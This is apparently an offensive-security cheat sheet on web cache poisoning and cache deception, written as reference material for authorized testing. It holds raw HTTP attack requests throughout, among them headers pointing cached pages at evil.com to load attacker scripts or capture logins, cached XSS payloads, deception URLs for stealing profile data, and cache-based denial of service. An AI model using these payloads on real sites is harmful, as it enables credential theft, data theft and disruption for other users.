← All cheat sheets

WEB-CACHE-POISONING

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Techniques for exploiting caching mechanisms to serve malicious
content or steal sensitive data from cached responses.

FUNDAMENTALS#

  Cache Key:
    - The subset of the request used to identify cached responses
    - Typically: Host header + URL path + query string
    - Headers, cookies, body are usually NOT part of the cache key

  Unkeyed Input:
    - Request components that affect the response but are NOT in the cache key
    - If you can inject via unkeyed input, the poisoned response gets cached
    - Other users requesting the same cache key receive the poisoned response

  Cache Poisoning vs Cache Deception:
    - Poisoning: attacker poisons cache, ALL users get malicious response
    - Deception: attacker tricks VICTIM into caching their sensitive response,
      then attacker retrieves it from cache

UNKEYED HEADERS#

  Discovery:
    # Use Param Miner (Burp extension) to find unkeyed headers
    # Right-click request -> Extensions -> Param Miner -> Guess headers

    # Manual testing: add header, check if response changes
    # If response changes but cache still serves it for normal requests -> unkeyed

  Common Unkeyed Headers:
    X-Forwarded-Host
    X-Forwarded-Scheme
    X-Forwarded-Proto
    X-Original-URL
    X-Rewrite-URL
    X-Host
    X-Forwarded-Server
    X-HTTP-Method-Override
    X-Forwarded-Port
    Forwarded
    True-Client-IP
    CF-Connecting-IP
    Fastly-Client-IP
    X-Custom-IP-Authorization
    Transfer-Encoding (variations)

  X-Forwarded-Host Poisoning:
    # If application uses X-Forwarded-Host to build URLs in response
    GET / HTTP/1.1
    Host: target.com
    X-Forwarded-Host: evil.com

    # Response:
    <script src="https://evil.com/static/app.js"></script>
    # This response gets cached, all users load attacker's JS

  X-Forwarded-Scheme / X-Forwarded-Proto:
    GET / HTTP/1.1
    Host: target.com
    X-Forwarded-Scheme: http

    # Response: 301 redirect to https://target.com/
    # Or: mixed content if assets loaded over HTTP
    # Poison: redirect to attacker domain

  X-Original-URL / X-Rewrite-URL:
    # Override the URL processed by the backend
    GET / HTTP/1.1
    Host: target.com
    X-Original-URL: /admin

    # Backend processes /admin but cache keys on /
    # Admin page content cached and served to all users

CACHE KEY MANIPULATION#

  Cache Key Normalization Issues:
    # Different path representations that may normalize to same cache key
    /path vs /PATH vs /Path
    /path/ vs /path
    /path vs /./path vs /path/./
    /path vs //path
    /path vs /path;jsessionid=x

    # Query parameter order
    ?a=1&b=2 vs ?b=2&a=1
    # May or may not produce same cache key depending on CDN

  Port-Based Poisoning:
    GET / HTTP/1.1
    Host: target.com:1337

    # Cache may key on target.com (without port)
    # But backend generates URLs with port 1337
    # <link href="https://target.com:1337/style.css">

  Cache Key Injection:
    # Inject into keyed components to create unexpected cache entries
    GET /path?param=value%0d%0aX-Injected:%20header HTTP/1.1
    # CRLF injection into cache key components

  Vary Header Manipulation:
    # Vary header tells cache which headers are part of the key
    Vary: Accept-Language, User-Agent
    # Poison a specific Accept-Language variant
    # Only users with that language setting get poisoned response

CACHE DECEPTION ATTACKS#

  Path Confusion (Classic Cache Deception):
    # Trick the cache into storing authenticated responses

    # Step 1: Send victim a link like:
    https://target.com/account/settings/nonexistent.css

    # Step 2: Backend ignores the extension, serves /account/settings
    # Step 3: Cache sees .css extension, caches the response
    # Step 4: Attacker requests same URL, gets victim's cached account page

  Variations:
    /api/me/profile/x.js
    /api/me/profile/x.css
    /api/me/profile/x.png
    /dashboard/x.svg
    /settings%2f..%2fstatic/file.js
    /my-account/abc.woff2

  Path Delimiter Confusion:
    # Different servers use different path delimiters
    /account;x.css          # Tomcat ignores after ;
    /account%23x.css        # Fragment handling
    /account%3Fx=1.css      # Encoded ? treated as path by some

  Normalization Differences:
    # Cache normalizes path differently than origin
    /account/..%2fstatic/x.css
    # Cache may see: /static/x.css (cacheable)
    # Origin may see: /account/../static/x.css -> /account page

  Detection:
    # Step 1: Access authenticated page with cache-buster
    GET /account/settings?cb=random123

    # Step 2: Access same URL unauthenticated
    # If you get authenticated content -> cache deception works

    # Step 3: Try with static file extension
    GET /account/settings/x.css
    # Then access unauthenticated

FAT GET REQUESTS#

  Concept:
    # Some servers process body in GET requests
    # Cache keys on method + URL (ignoring body)
    # Attacker sends GET with body, response gets cached

  Attack:
    GET /api/data HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded

    param=malicious_value

    # If the server reads the body parameter and it affects the response
    # The poisoned response is cached for the GET URL
    # All subsequent GET /api/data requests get poisoned response

  X-HTTP-Method-Override:
    # Override GET to POST behavior
    GET /api/settings HTTP/1.1
    X-HTTP-Method-Override: POST
    Content-Type: application/json

    {"email": "attacker@evil.com"}

    # Cache sees GET request, but server processes as POST
    # Modified settings reflected in cached response

PARAMETER CLOAKING#

  Concept:
    # Cache excludes certain parameters from the key
    # Application still processes them
    # UTM parameters are commonly excluded from cache keys

  UTM Parameter Cloaking:
    # utm_content is excluded from cache key by many CDNs
    GET /page?utm_content=x%26admin%3Dtrue HTTP/1.1

    # Cache key: /page (utm_content excluded)
    # Backend sees: utm_content=x&admin=true
    # admin=true is processed but not part of cache key

  Semicolon Delimiter:
    # Ruby/Java may accept ; as parameter separator
    GET /page?legit=value;evil=payload HTTP/1.1

    # Cache may see one parameter: legit=value;evil=payload
    # Backend sees two: legit=value AND evil=payload

  Parameter Pollution:
    GET /page?param=normal&param=evil HTTP/1.1

    # Different backends handle duplicate params differently:
    # PHP: uses last value
    # ASP.NET: joins with comma
    # Python/Flask: uses first value

  Unkeyed Query Parameters:
    # Some CDNs exclude all query params from cache key
    # Or specific params like: callback, jsonp, _
    GET /api/data?callback=malicious_function HTTP/1.1
    # Cache key: /api/data
    # Response: malicious_function({...})

CACHE POISONING VIA HEADERS#

  X-Forwarded-Host:
    GET /login HTTP/1.1
    Host: target.com
    X-Forwarded-Host: evil.com

    # If response includes:
    <form action="https://evil.com/login">
    # Credentials submitted to attacker's server

  X-Forwarded-Port:
    GET / HTTP/1.1
    Host: target.com
    X-Forwarded-Port: 1337

    # Response may include port in URLs:
    <script src="https://target.com:1337/app.js"></script>

  X-Original-URL (Nginx/IIS):
    GET /static/cacheable.js HTTP/1.1
    Host: target.com
    X-Original-URL: /admin/delete-user?id=1

    # Cache key: /static/cacheable.js (cacheable)
    # Backend processes: /admin/delete-user?id=1
    # Admin action result cached and served to all

  Range Header Poisoning:
    GET /page HTTP/1.1
    Host: target.com
    Range: bytes=0-100

    # Partial content (206) gets cached
    # Users get truncated page from cache

  Accept-Language Poisoning:
    GET / HTTP/1.1
    Host: target.com
    Accept-Language: evil"><script>alert(1)</script>

    # If language is reflected in response without sanitization
    # And Accept-Language is unkeyed -> stored XSS via cache

PRACTICAL EXAMPLES#

  Example 1: XSS via Cache Poisoning
    # Find unkeyed header that reflects in response
    GET / HTTP/1.1
    Host: target.com
    X-Forwarded-Host: "><script>alert(1)</script>

    # If X-Forwarded-Host is reflected in <link> or <script> tags
    # And it is not part of the cache key
    # -> Stored XSS for all users accessing the cached page

  Example 2: Open Redirect via Cache Poisoning
    GET /login HTTP/1.1
    Host: target.com
    X-Forwarded-Scheme: http

    # Response: 301 Location: https://target.com/login
    # Now poison with:
    X-Forwarded-Host: evil.com
    # Response: 301 Location: https://evil.com/login

  Example 3: DoS via Cache Poisoning
    GET / HTTP/1.1
    Host: target.com
    X-Oversized-Header: AAAA....(very long)

    # If this causes a 400/500 error
    # And the error response gets cached
    # -> DoS for all users

  Example 4: Cache Deception for Data Theft
    # Send victim:
    https://target.com/api/v1/user/profile/logo.png

    # Origin serves /api/v1/user/profile (with auth data)
    # CDN caches because .png extension
    # Attacker fetches same URL without auth -> gets victim's profile data

TOOLS AND DETECTION#

  Param Miner (Burp):
    - Discovers unkeyed headers and parameters
    - Right-click -> Extensions -> Param Miner
    - "Guess headers" and "Guess query params"

  Web Cache Vulnerability Scanner:
    - https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
    - Automated cache poisoning detection

  Cache Buster Techniques:
    # Add unique parameter to avoid cached responses during testing
    ?cachebuster=unique_random_value
    # Ensure your test requests are not served from cache

  Checking Cache Status:
    # Look for cache headers in response
    X-Cache: HIT / MISS
    CF-Cache-Status: HIT / MISS / DYNAMIC
    Age: 3600          (seconds since cached)
    X-Cache-Hits: 5    (number of times served from cache)
    Cache-Control: max-age=3600, public
    Vary: Accept-Language, Cookie

  CDN-Specific Behaviors:
    Cloudflare:  CF-Cache-Status header, caches by file extension
    Fastly:      X-Cache header, Varnish-based
    Akamai:      X-Cache header, complex key configuration
    AWS CloudFront: X-Cache header, behaviors define caching
    Varnish:     X-Varnish header, VCL configuration